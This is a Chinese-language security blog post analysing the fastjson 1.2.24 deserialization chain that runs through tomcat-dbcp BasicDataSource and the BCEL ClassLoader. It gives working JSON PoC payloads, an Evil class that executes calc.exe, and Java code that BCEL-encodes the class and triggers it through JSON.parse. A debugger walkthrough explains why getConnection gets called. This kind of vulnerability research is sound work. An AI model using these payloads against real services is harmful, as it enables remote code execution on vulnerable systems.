FastJson反序列化之BasicDataSource利用链

发布于 2021-12-21  3258 次阅读


FastJson反序列化之BasicDataSource利用链


前面在分析fastjson 1.2.24漏洞时分析了一下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplcom.sun.rowset.JdbcRowSetImpl,后面看了P神的BCEL ClassLoader去哪了发现还有一条利用链org.apache.tomcat.dbcp.dbcp2.BasicDataSource。这条链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。

BasicDataSource类在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

比如:6.0.53、7.0.81等版本。MVN 依赖写法如下:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>

Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,所以构造PoC的时候需要注意一下。 MVN依赖写法如下:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

注:如果用的Java7,请注意dbcp版本

POC:

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

由于fastjson反序列化时会自动执行类的setter、getter方法。这条链中用到了getConnection,通过com.sun.org.apache.bcel.internal.util.ClassLoader加载字节码。

测试坏境

JDK 7u80

dbcp 6.0.53

fastjson 1.2.24:在1.2.24之后的版本,这条链就被修复了

注:在Java 8u251以后,BCEL包中就没有ClassLoader类了

BCEL ClassLoader使用

BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode

具体利用如下:通过BCEL中的loadclass加载BCEL形式的字节码

package ccship.fastjson;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}
package ccship.fastjson;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class FastJsonTest {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();
    }
}

image-20211220224457433

通过createClass加载字节码,内部执行了decode解码。

image-20211220224818146

BCEL在Fastjson漏洞中的利用

BasicDataSource利用链中,主要就是利用了BCEL加载字节码。

POC:

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}
package ccship.fastjson;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class FastJsonTest {
    public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        String POC = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+encode+"\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        JSON.parse(POC);
    }
}

image-20211220225237857

调试分析:

通过反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并完成了命令执行。利用链:BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

先看到getConnection方法

image-20211221102148174

跟进createDataSource方法

image-20211221102318527

跟进createConnectionFactory方法

image-20211221102358045

到这通过Class.forName将类加载进来,并且设置了initialize参数为true,而Class.forName方法实际上也是调用的 CLassLoader 来实现的。通过第三个参数指定。这里的第一个参数类名和第三个参数加载器都是成员变量,可控。

image-20211221103456848

image-20211221103526332

因此再来看POC,就明白为什么这么赋值了

{
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": 
    {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b$I$A$..."
}

现在问题是FastJson是如何会调用getConnection方法的,因为它的返回值为Connection,并不满足调用getter方法的条件。

在回头看POC:

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

这里POC结构上有一个值得注意的地方在于,

  1. 先是将 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段放到JSON Value的位置上,之后在外面又套了一层 {}
  2. 之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。

POC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObjectMap的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。

调试分析:

DefaultJSONParserparseObject方法中,会对第二个字符进行判断,这里为{

image-20211221110249257

image-20211221110444615

image-20211221114958038

image-20211221115005828

所以到后面整个key就为JSONObjectvaluebbb,而key当中的值会先加载进来,调用setDriverClassLoader、setDriverClassName方法。因此整个key里面的值就是包括了键值对:aaa:BasicDataSource类,全部加载完成之后会对再次对object进行判断

image-20211221115353996

可以看到在对key进行判断时就变成JSONObject类了,而里面的keyvalueaaa:BasicDataSource类,可以在436key = (key == null) ? "null" : key.toString();下断点调两次就到这里了。随后就会调用JSONObject中的toString方法。

image-20211221115702546

而在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,执行相应的 getter 、is等方法。因此也会执行getConnection方法

image-20211221120903179

调用链如下:

image-20211221120951025

因此POC最完整的写法应该是:

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject() ,那就不用这么麻烦了。与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter getter 方法。

所以对于 JSON.parseObject(),直接传入这样的Payload也能触发:

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

参考链接

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html


沙上有印,光中有影!